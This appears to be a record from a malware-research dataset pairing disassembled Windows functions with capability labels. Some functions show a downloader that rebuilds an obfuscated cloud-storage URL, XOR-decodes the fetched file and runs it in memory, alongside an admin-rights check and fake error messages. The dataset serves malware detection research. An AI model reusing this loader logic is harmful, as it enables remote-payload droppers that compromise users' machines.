joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801fa930
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1801faad8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1801fa995
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1801fa995
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1801fa995
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1801fa9cc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1801faa22
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1801faa22
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1801faa22
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1801faa22
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1801faa22
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1801fa3e0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1801faa84
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1801d5ca0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1801fa7b0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1801faad0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.1801d5ca0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1801fc240
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x180451380]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1801fc2d5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1801fc336
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.1801d5ca0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.18020fb90
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1801fc3f1
sub ecx, 1
je 0x1801fc464
sub ecx, 1
je 0x1801fc3a0
cmp ecx, 1
je 0x1801fc383
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x180250d90]
call fcn.1801d5ca0
jmp 0x1801fc464
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1801fbf70
test eax, eax
je 0x1801fc464
jmp 0x1801fc30a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1801fc464
sub rax, rsi
cmp rax, rbp
jae 0x1801fc464
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.1801d5e20
jmp 0x1801fc464
cmp r8d, 4
jle 0x1801fc464
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1801fc464
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.1801d5bc0
mov esi, eax
test eax, eax
je 0x1801fc443
mov edx, 5
mov rcx, rbx
call fcn.1801fcf30
mov eax, esi
jmp 0x1801fc30a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.1801e5360
mov rcx, r14
call fcn.1801e5640
test eax, eax
je 0x1801fc308
mov edx, 5
mov rcx, rbx
call fcn.1801fcf30
mov eax, Ordinal_45
jmp 0x1801fc30a
Function at 0x18020f200
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x18020f242
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x18020f289
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x18020f2e2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x18020f2a0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x18020f323
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x180406c02]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x180406c03]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x18020f2f0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x18020f3fc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x18020f436
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x18020f43b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x18020f484
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x18020f484
dec r8
sub rdx, 1
jne 0x18020f46a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140002790
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400027da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400027da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400027da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400027da
cmp dword [rcx + 0x84], 0xe
jbe 0x1400027da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400027dc
xor al, al
add rsp, 0x28
ret
Function at 0x140002ce0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xf0
mov eax, 0x79
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x59]
mov dword [rbp - 0x59], 0x740068
mov dword [rbp - 0x55], 0x700074
mov dword [rbp - 0x51], 0x3a0073
mov dword [rbp - 0x4d], 0x2f002f
mov dword [rbp - 0x49], 0x610062
mov dword [rbp - 0x45], 0x640069
mov dword [rbp - 0x41], 0x310075
mov dword [rbp - 0x3d], 0x2d0031
mov dword [rbp - 0x39], 0x330031
mov dword [rbp - 0x35], 0x360032
mov dword [rbp - 0x31], 0x300031
mov dword [rbp - 0x2d], 0x300031
mov dword [rbp - 0x29], 0x380032
mov dword [rbp - 0x25], 0x63002e
mov dword [rbp - 0x21], 0x73006f
mov dword [rbp - 0x1d], 0x61002e
mov dword [rbp - 0x19], 0x2d0070
mov dword [rbp - 0x15], 0x6f0068
mov dword [rbp - 0x11], 0x67006e
mov dword [rbp - 0xd], 0x6f006b
mov dword [rbp - 9], 0x67006e
mov dword [rbp - 5], 0x6d002e
mov word [rbp - 1], ax
mov dword [rbp + 1], 0x630071
mov dword [rbp + 5], 0x6f006c
mov dword [rbp + 9], 0x640075
mov dword [rbp + 0xd], 0x63002e
mov dword [rbp + 0x11], 0x6d006f
mov dword [rbp + 0x15], 0x37002f
mov dword [rbp + 0x19], 0x2e0037
mov dword [rbp + 0x1d], 0x6e0070
mov dword [rbp + 0x21], 0x67
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.1400027f0
test al, al
jne 0x140002e1d
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140002f32
call fcn.1400090c0
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
je 0x140002e3e
nop dword [rax]
mov rax, qword [rax]
mov rcx, qword [rax + 0x40]
cmp word [rcx + 0x18], r13w
jne 0x140002e30
mov rsi, qword [rax + 0x10]
mov rcx, rsi
call fcn.140002770
lea rdx, [rsp + 0x40]
mov rcx, rsi
mov rdi, rax
mov dword [rsp + 0x40], 0x74726956
mov dword [rsp + 0x44], 0x506c6175
mov dword [rsp + 0x48], 0x65746f72
mov word [rbp - 0x7d], 0x7463
mov byte [rbp - 0x7b], r13b
mov dword [rsp + 0x30], 0x61657243
mov dword [rsp + 0x34], 0x68546574
mov dword [rsp + 0x38], 0x64616572
mov byte [rsp + 0x3c], r13b
mov dword [rbp - 0x79], 0x74696157
mov dword [rbp - 0x75], 0x53726f46
mov dword [rbp - 0x71], 0x6c676e69
mov dword [rbp - 0x6d], 0x6a624f65
mov dword [rbp - 0x69], 0x746365
call rdi
lea rdx, [rsp + 0x30]
mov rcx, rsi
mov rbx, rax
call rdi
lea rdx, [rbp - 0x79]
mov rcx, rsi
mov r12, rax
call rdi
mov rdi, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rcx, rdi
mov rsi, rax
call rbx
movsxd rdx, dword [rbp + 0x67]
mov r9, rdx
test edx, edx
je 0x140002f0b
mov rcx, rdi
nop dword [rax]
xor byte [rcx], 0x69
inc rcx
dec r9
jne 0x140002f00
mov rcx, rdi
call fcn.140002c50
xor r9d, r9d
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call r12
or edx, 0xffffffff
mov rcx, rax
call rsi
mov rbx, qword [rsp + 0x148]
add rsp, 0xf0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140000384
Capabilities:
Query or enumerate registry key
Set registry value

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x48]
sub rsp, 0x148
lea rax, [rbp + 0x70]
mov r9d, 0x2001f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x140000230]
mov rcx, 0xffffffff80000001
xor ebx, ebx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140000492
and qword [rsp + 0x38], rbx
and qword [rsp + 0x30], rbx
and qword [rsp + 0x28], rbx
and qword [rsp + 0x20], rbx
xor edx, edx
jmp 0x140000463
test eax, eax
jne 0x140000488
mov rcx, qword [rbp + 0x70]
lea rax, [rbp + 0x78]
mov r9d, 0x20006
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140000447
mov rcx, qword [rbp + 0x78]
lea rax, [rbp + 0x68]
mov dword [rsp + 0x28], 4
lea rdx, [0x140000258]
mov r9d, 4
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov dword [rbp + 0x68], 1
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
and qword [rsp + 0x38], 0
inc ebx
and qword [rsp + 0x30], 0
mov edx, ebx
and qword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov rcx, qword [rbp + 0x70]
lea r9, [rbp + 0x60]
lea r8, [rsp + 0x40]
mov dword [rbp + 0x60], 0x100
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x1400003de
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x148
pop rbx
pop rbp
ret
Function at 0x1400036b0
Capabilities:
Get token membership
Terminate process

Disassembly:
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor ecx, ecx
mov word [rbp + 0x3b], 0x500
lea rax, [rbp + 0x2f]
mov qword [rbp + 0x2f], rcx
mov qword [rsp + 0x50], rax
mov r9d, 0x220
mov dword [rsp + 0x48], ecx
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x40], ecx
mov dl, 2
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
mov dword [rbp + 0x37], ecx
lea rcx, [rbp + 0x37]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov rdx, qword [rbp + 0x2f]
lea r8, [rbp + 0x3f]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
cmp dword [rbp + 0x3f], 0
jne 0x1400037a9
lea rcx, [rbp - 0x19]
mov dword [rbp - 0x19], 0xaab6b187
mov word [rbp - 0x15], 0xb4
mov byte [rbp - 0x13], 1
call fcn.140002110
movdqa xmm0, xmmword [0x14006b4f0]
lea rcx, [rbp - 0x11]
movdqa xmm1, xmmword [0x14006b3d0]
mov r8, rax
movdqu xmmword [rbp - 0x11], xmm0
mov dword [rbp + 0x1f], 0x86879a9f
movdqa xmm0, xmmword [0x14006b3a0]
movdqu xmmword [rbp + 0xf], xmm0
mov dword [rbp + 0x23], 0x8a96989f
movdqu xmmword [rbp - 1], xmm1
mov word [rbp + 0x27], Ordinal_217
mov byte [rbp + 0x29], 1
call fcn.1400037c0
mov rdx, rax
mov r9d, reloc.WS2_32.dll_recv
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov al, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.14000bb20
add rsp, 0xd0
pop rbp
ret
Function at 0x140005930
Capabilities:
Execute command

Disassembly:
cmp qword [rcx + 0x18], 0xf
jbe 0x14000593a
mov rcx, qword [rcx]
jmp qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
Function at 0x140006d30
Capabilities:
Set console window title

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x60
mov rdi, rdx
mov rsi, rcx
call fcn.14000ca70
mov rbx, rax
test rax, rax
je 0x140006e7b
lea rdx, [0x14006abd0]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov rdi, rax
test rax, rax
je 0x140006e67
mov r8, rsi
mov edx, 0x2712
mov rcx, rbx
call fcn.14000f270
lea r8, [0x140005920]
mov edx, 0x4e2b
mov rcx, rbx
call fcn.14000f270
mov r8, rdi
mov edx, 0x2711
mov rcx, rbx
call fcn.14000f270
mov rcx, rbx
call fcn.14000cb30
test eax, eax
je 0x140006e46
mov ecx, 0xfffffff5
mov esi, 4
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, si
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
movdqa xmm0, xmmword [0x14006b490]
lea rcx, [rsp + 0x20]
movdqa xmm1, xmmword [0x14006b3e0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x50], 0xc8d9c783
movdqa xmm0, xmmword [0x14006b5d0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x54], 0x100cad7
movdqu xmmword [rsp + 0x30], xmm1
call fcn.14000b2c0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str._nWe_Have_A_Issue_Finding_Your_Wifi_Please_Try_Again_n
call fcn.1400057f0
mov ecx, 0x157c
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call fcn.14000ca50
mov rcx, rdi
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
jmp qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str._n_Error_1._Please_Contact_Support._n
jmp 0x140006e8d
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str._n_Error_0._Please_Contact_Support._n
mov rcx, rax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
jmp fcn.1400057f0
Function at 0x140006eb0
Capabilities:
Create pipe
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rbp], rax
xor esi, esi
mov dword [rsp + 0x70], Ordinal_30
xor r9d, r9d
mov qword [rsp + 0x78], rsi
lea r8, [rsp + 0x70]
mov dword [rbp - 0x80], 1
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov edx, 1
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xorps xmm1, xmm1
mov dword [rsp + 0x28], esi
xor eax, eax
mov dword [rbp - 0x70], 0x68
mov qword [rsp + 0x68], rax
lea r8, str.appveri.exe_ApplicationFrame.sys
mov dword [rbp - 0x1c], eax
xorps xmm0, xmm0
mov rax, qword [rsp + 0x50]
mov r14, 0xffffffffffffffff
movups xmmword [rbp - 0x3c], xmm1
mov qword [rbp - 0x10], rax
mov r9d, r14d
mov qword [rbp - 0x18], rax
xor edx, edx
movups xmmword [rbp - 0x6c], xmm1
xor ecx, ecx
mov qword [rsp + 0x20], rsi
movups xmmword [rbp - 0x5c], xmm1
movups xmmword [rbp - 0x4c], xmm1
movups xmmword [rbp - 0x2c], xmm1
psrldq xmm1, 8
movd eax, xmm1
movups xmmword [rsp + 0x58], xmm0
bts eax, 8
mov dword [rbp - 0x34], eax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
test eax, eax
je 0x140007057
mov eax, 2
mov qword [rsp + 0x120], rdi
mul rbx
cmovb rax, r14
mov rcx, rax
call fcn.14000bdf8
mov r9d, r14d
mov dword [rsp + 0x28], ebx
lea r8, str.appveri.exe_ApplicationFrame.sys
mov qword [rsp + 0x20], rax
xor edx, edx
xor ecx, ecx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rax, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x48], rax
xor r8d, r8d
lea rax, [rbp - 0x70]
mov rdx, rdi
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, rdi
mov ebx, eax
call fcn.14000bdc4
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x120]
test ebx, ebx
je 0x140007057
mov rcx, qword [rsp + 0x58]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp]
xor rcx, rsp
call fcn.14000bb20
lea r11, [rsp + 0x110]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000ae20
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x4d], 0
mov r8, rcx
je 0x14000aecd
mov r9, 0xfffffffffffffffe
lea rax, [rcx + 2]
sub r9, rcx
nop dword [rax + rax]
lea edx, [rax + r9]
lea ecx, [rdx - 0x3b]
xor byte [rax - 2], cl
lea rax, [rax + 0x13]
lea ecx, [rdx - 0x3a]
xor byte [rax - 0x14], cl
lea ecx, [rdx - 0x39]
xor byte [rax - 0x13], cl
lea ecx, [rdx - 0x38]
xor byte [rax - 0x12], cl
lea ecx, [rdx - 0x37]
xor byte [rax - 0x11], cl
lea ecx, [rdx - 0x36]
xor byte [rax - 0x10], cl
lea ecx, [rdx - 0x35]
xor byte [rax - 0xf], cl
lea ecx, [rdx - 0x34]
xor byte [rax - 0xe], cl
lea ecx, [rdx - 0x33]
xor byte [rax - 0xd], cl
lea ecx, [rdx - 0x32]
xor byte [rax - 0xc], cl
lea ecx, [rdx - 0x31]
xor byte [rax - 0xb], cl
lea ecx, [rdx - 0x30]
xor byte [rax - 0xa], cl
lea ecx, [rdx - 0x2f]
xor byte [rax - 9], cl
lea ecx, [rdx - 0x2e]
xor byte [rax - 8], cl
lea ecx, [rdx - 0x2d]
xor byte [rax - 7], cl
lea ecx, [rdx - 0x2c]
xor byte [rax - 6], cl
lea ecx, [rdx - 0x2b]
xor byte [rax - 5], cl
lea ecx, [rdx - 0x2a]
xor byte [rax - 4], cl
sub dl, 0x29
xor byte [rax - 3], dl
lea rcx, [r9 + rax]
cmp rcx, 0x4c
jb 0x14000ae40
mov byte [r8 + 0x4d], 0
ret

Function at 0x14000b8f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rbx, rcx
mov ecx, 8
call fcn.14000bb40
lea rcx, [0x140006cb0]
mov qword [rax], rcx
mov qword [rsp + 0x30], rax
lea rdi, [rbx + 8]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14000b9a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbx], rax
test rax, rax
je 0x14000b96a
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000bb20
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov dword [rdi], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3

Function at 0x14000c810
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c85a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c85a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c85a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c85a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c85a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c85c
xor al, al
add rsp, 0x28
ret
Function at 0x14001f520
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx + 0x718], 0
mov rsi, r9
mov rbp, r8
movsxd rbx, edx
mov rdi, rcx
je 0x14001f57e
mov dl, 1
call fcn.14000ff10
mov rax, qword [rdi + 0x670]
mov r9, rsi
mov r8, rbp
mov qword [rsp + 0x20], rax
mov edx, ebx
mov rcx, rdi
call qword [rdi + 0x718]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call fcn.14000ff10
mov eax, ebx
jmp 0x14001f5c2
cmp ebx, 2
ja 0x14001f5c0
mov r9, qword [rdi + 0x668]
lea rdx, [0x14005e198]
lea rcx, [rbx + rbx*2]
add rcx, rdx
mov edx, 2
lea r8d, [rdx - 1]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
mov r9, qword [rdi + 0x668]
mov r8d, 1
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14001f5e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rdi
sub rsp, 0x160
mov rax, qword [0x140074040]
xor rax, rsp
mov qword [rsp + 0x140], rax
cmp byte [rcx + 0xf1e], 0
mov rdi, rcx
jne 0x14001f623
cmp qword [rcx + 0x678], 0
je 0x14001f700
mov r8, rdx
mov qword [rsp + 0x158], rbx
mov edx, 0x100
